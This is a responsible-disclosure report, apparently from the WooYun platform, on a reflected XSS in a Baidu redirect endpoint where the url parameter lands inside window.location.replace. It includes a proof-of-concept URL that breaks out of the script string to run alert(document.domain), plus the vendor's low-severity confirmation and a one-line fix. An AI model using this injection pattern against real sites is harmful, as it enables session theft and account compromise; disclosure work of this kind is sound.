百度主站反射型XSS

漏洞详情

披露状态:

2014-03-24: 细节已通知厂商并且等待厂商处理中
2014-03-25: 厂商已经确认,细节仅向厂商公开
2014-04-04: 细节向核心白帽子及相关领域专家公开
2014-04-14: 细节向普通白帽子公开
2014-04-24: 细节向实习白帽子公开
2014-05-08: 细节向公众公开

简要描述:

很低级的错误

详细说明:

下歌词的时候,无意中发现的。



以下面的URL为例:



http://www.baidu.com/ulink?url=http%3A%2F%2Fmusic.baidu.com%2F%2Fdata2%2Flrc%2F34272020%2F34272020.lrc%3Ffm%3Daltg5&wd=lose%20yourself%E6%AD%8C%E8%AF%8D&&tn=baidu&&ie=utf-8&&&&oq=lose%20yourse&&f=3&rsp=1&inputT=11





这里的参数url的值,最后会传递到window.location.replace里面



<script>window.location.replace("http://music.baidu.com//data2/lrc/34272020/34272020.lrc?fm=altg5")</script>





这里有对http://music.baidu.com//data2/lrc/34272020/34272020.lrc这个文件的存在与否做了判断,但是可以在后面的参数上做文章。比如:



http://www.baidu.com/ulink?url=http%3A%2F%2Fmusic.baidu.com%2F%2Fdata2%2Flrc%2F34272020%2F34272020.lrc%3Ffm%3Daltg5%22%29;alert%28document.domain%29;//&wd=lose%20yourself%E6%AD%8C%E8%AF%8D&&tn=baidu&&ie=utf-8&&&&oq=lose%20yourse&&f=3&rsp=1&inputT=11





最终变成:



<script>window.location.replace("http://music.baidu.com//data2/lrc/34272020/34272020.lrc?fm=altg5");alert(document.domain);//")</script>





由于是输出在script内的情况,所以浏览器自带的一些XSS filter应该是不会去拦截的。



漏洞证明:

相关贴图:



测试于firefox28,chrome33



1.png

修复方案:

escape it

版权声明:转载请注明来源 mramydnei@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:2

确认时间:2014-03-25 08:46

厂商回复:

感谢提交,会尽快处理此问题。

最新状态:

暂无


漏洞评价: